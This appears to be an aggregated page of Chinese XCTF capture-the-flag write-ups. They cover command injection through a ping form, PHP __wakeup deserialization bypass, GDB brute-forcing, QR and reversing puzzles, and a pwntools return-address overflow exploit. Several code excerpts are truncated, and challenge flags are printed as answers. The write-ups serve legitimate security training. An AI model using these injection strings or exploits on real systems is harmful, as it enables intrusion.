xctf

XCTF练习题---WEB---command_execution

橙三吉。 提交于 2020-03-19 15:44:24
XCTF练习题---WEB---command_execution flag:cyberpeace{69383c056080bd6cd649578894d1d377} 解题步骤: 1、观察题目,打开场景 2、观察题目要求,是ping功能,看看页面中的内容,尝试输入IP地址尝试一下 3、输入常见的本地地址127.0.0.1试试看,有回显,这时候看回显内容感觉有点像linux系统的回显,测试输入ls看看能不能列出内容,发现没有什么问题,可以断定是linux系统了,那就要用到命令连接符了 4、有回显,证明这个是可以运行的,那接着往下看看有没有关于flag这个文件,输入命令127.0.0.1 && find / -name flag.txt,查找其中有没有flag.txt文件(注意空格) 5、看到确实有个flag文件,就在这个home文件夹里,那我们使用cat命令来查看一下其中的内容,输入命令127.0.0.1 && cat /home/flag.txt,得出答案 6、提交答案,完成 来源: https://www.cnblogs.com/redHskb/p/12523730.html

XCTF reverse-box

帅比萌擦擦* 提交于 2020-03-12 08:22:31
题目要求: 输入flag让程序输出以下字符串,flag以TWCTF开头,xctf的题目提示被漏掉了 95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a 程序放入IDA中分析 这题的关键点就是要获取到v4的值,v4是由sub_804858D生成的 但是它的值是通过时间产生的随机数,但是在赋值给v10的时候只保留了一个字节,所以只有0xff种可能 由于我们已经知道flag的前几个字符串,所以可以判断这里是最后输出的值,第一个值是否等于0x95 这个值在EAX中,写GDB脚本爆破v4的值 set $i = 0 set $total = 256 while ( $i < $total ) b *0x80485b4 b *0x8048707 run TWCTF set $i = $i +1 set * ( char* ) ( $ebp -0xc ) = $i continue if ( $eax == 0x95 ) print $i , $i x/256xb $esp +0x1c set $i = 256 end stop end 把数据复制出来编写解密脚本 import re a =

攻防世界(高手进阶区)——unserialize3

好久不见. 提交于 2020-02-12 15:31:57
题目可以知道是关于PHP序列化的问题。 class xctf { //定义类xctf public $flag = '111' ; //flag赋值为111 public function __wakeup ( ) { //关于魔术变量_wakeup() exit ( 'bad requests' ) ; } ? code = 序列化后的字符串绕过_wakeup(): _wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行_wakeup()函数,这是一个绕过点。 改变序列化后的属性的个数: <? class xctf { public $flag = '111' ; } $a = new xctf ( ) ; echo serialize ( $a ) ; ?> 将源代码的"?code="加上O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;} 添加到url内; 关于PHP反序列化漏洞可以参考: https://www.jianshu.com/p/1d2c65601d2a 来源: CSDN 作者: LEO__Z 链接: https://blog.csdn.net/zouchengzhi1021/article/details/104277188

XCTF练习题---MISC---give_you_flag

生来就可爱ヽ(ⅴ<●) 提交于 2020-02-11 15:06:40
XCTF练习题---MISC---give_you_flag flag:flag{e7d478cf6b915f50ab1277f78502a2c5} 解题步骤: 1、观察题目,下载附件 2、打开发现是一个gif动图,最后面好像有个一闪而过的二维码,于是使用ScreenTogif进行逐帧分析,果然有一张 3、既然发现了就扫一下,发现扫不上,再仔细看一下,好像少点东西,二维码的定位符没有了,虽说二维码的容错性很高,但是没有定位符肯定不行的呀 4、没啥好办法,使用P图技能,把定位符P上试试看 5、再进行扫描,果然ok了,牛皮!提交答案! 6、答案正确,牛皮!! 来源: https://www.cnblogs.com/redHskb/p/12295063.html

xctf re2-cpp-is-awesome题解

谁说胖子不能爱 提交于 2020-02-05 08:32:22
1.把它拖入到ida中,在main函数,以下代码: v9 = * ( unsigned __int8 * ) sub_400D9A ( ( __int64 ) & i ) ; if ( ( _BYTE ) v9 != s [ dw_a [ v15 ] ] ) sub_400B56 ( ( __int64 ) & i , ( __int64 ) & v14 , v9 ) ; ++ v15 ; 2.点击进入s数组和dw_a数组可以看到,他们的的值,显然这是关键部分。 3.仔细观察第一步的代码,可以得知计算flag的代码如下: 在这里插入代码片 s = 'L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1t' a = [ 0x24 , 0x0 , 0x5 , 0x36 , 0x65 , 0x7 , 0x27 , 0x26 , 0x2d , 0x1 , 0x3 , 0x0 , 0xd , 0x56 , 0x1 , 0x3 , 0x65 , 0x3 , 0x2d , 0x16 , 0x2 , 0x15 , 0x3 , 0x65 , 0x0 , 0x29 , 0x44 , 0x44 , 0x1 , 0x44 ,

xctf学习之intoverflow

大城市里の小女人 提交于 2020-01-15 04:00:22
此题题目为intoverflow,提示整数溢出,IDA阅读伪代码,发现Success条件是输入password长度为[3,8),而要程序中有个函数what_is_this,功能是cat flag,所以要想获取flag,需要让程序运行此函数,而程序的运行并没有调用此函数,因此,必须溢出。存储输入password长度的变量是短整型,即8位二进制数,范围[0,255],当值大于255时,发生溢出,如256=0,而程序读入password的长度位199h,超过了256+8,所以,在256+3到256+7之间的长度都能满足要求。尝试输入长度为262的password,找到返回地址的偏移量,为24,及25-28字节为返回地址,将返回地址覆盖为what_is_this的地址,即输入了flag,exp: from pwn import * p=remote('111.198.29.45','44601') offset=24 payload='a'*24+p32(0x804868B)+'b'*232 p.recvuntil('Your choice:') p.sendline("1") p.recvuntil("Please input your username:\n") p.sendline("A") print p.recvuntil("Please input your passwd:\n

PHP反序列化漏洞#XCTF题 : unserialize3#绕过wakeup()函数

送分小仙女□ 提交于 2020-01-06 22:18:15
1.代码与结果 代码如下: <?php class xctf{ public $flag='111'; public function __wakeup(){ exit('bad requests'); } } $content = new xctf(); echo serialize($content); ?> 结果如下: O:4:"xctf":1:{s:4:"flag";s:3:"111";} 实验截图: 2.相关姿势点 2.1 PHP 常用命令行 2.11 Linux命令行运行指定php文件 php -f test.php 2.12 直接运行php代码 php -r "phpinfo();" 2.13 交互模式运行PHP php -a 2.14 PHP脚本作为shell脚本运行 没有权限则切换到root用户 sudo su echo '#!/usr/bin/php\n<?php var_dump($argv); ?>' > phpscript 注意,我们在该PHP脚本的第一行使用#!/usr/bin/php,就像在shell脚本中那样(/bin/bash)。 第一行的#!/usr/bin/php告诉Linux命令行用 PHP 解释器来解析该脚本文件。 确定phpscript 有可执行权限 chmod u+x phpscript ./phpscript -h --foo

xctf进阶-unserialize3反序列化

青春壹個敷衍的年華 提交于 2019-12-03 14:47:06
一道反序列化题: 打开后给出了一个php类,我们可以控制code值: `unserialize()` 会检查是否存在一个 `__wakeup()` 方法。如果存在,则会先调用 `__wakeup` 方法,预先准备对象需要的资源。 作用:__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。 我们先给这个类创建一个对象,然后输出这个对象的序列化值: 然后将序列化结果拿给?code参数进行get请求 发现执行了_wakeup方法,那么怎么绕过这个方法呢? 百度了一下,当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过 __wakeup 的执行 那么我们把O:4:"xctf":2:{s:4:"flag";s:3:"111";}传给code再进行请求: 得出flag. 来源: https://www.cnblogs.com/-chenxs/p/11800881.html

攻防世界web-unserialize3

主宰稳场 提交于 2019-12-02 23:50:42
漏洞编号CVE-2016-7124 详情 https://xz.aliyun.com/t/378 题目源码 class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code= 我们要绕过__wakeup这个魔术函数,不然会被exit掉, 这里利用反序列化漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 我们在本地搭环境获得序列化的值 <?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } $x=new xctf(); echo serialize($x); ?> 获取的序列化值 O:4:"xctf":1:{s:4:"flag";s:3:"111";} 修改成O:4:"xctf":2:{s:4:"flag";s:3:"111";},并传入参数?code= cyberpeace{8ed1143510277053b91993bc5d9b8e01} 来源: https://www.cnblogs.com/gaonuoqi/p/11768036.html

XCTF warmup write up

∥☆過路亽.° 提交于 2019-12-02 03:56:15
nc 一下给的地址和端口号 看一下源文件 看到了熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出,再看sprint()函数 可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d,到这里思路就差不多明了了,我们需要控制溢出位置,把返回地址改为此函数的地址,我们当前函数的返回值位于RBP+8的位置,因此溢出点可以通过计算得出:40H+8H=48H=72 exp: #!/usr/bin/env python # coding=utf-8 from pwn import * context(arch = 'amd64', os = 'linux') sh = remote('111.198.29.45',56844) target = 0x40060d sh.sendline('A' * 72 + p64(target)) sh.interactive() 喜提flag。 来源: https://www.cnblogs.com/mzstar/p/11729969.html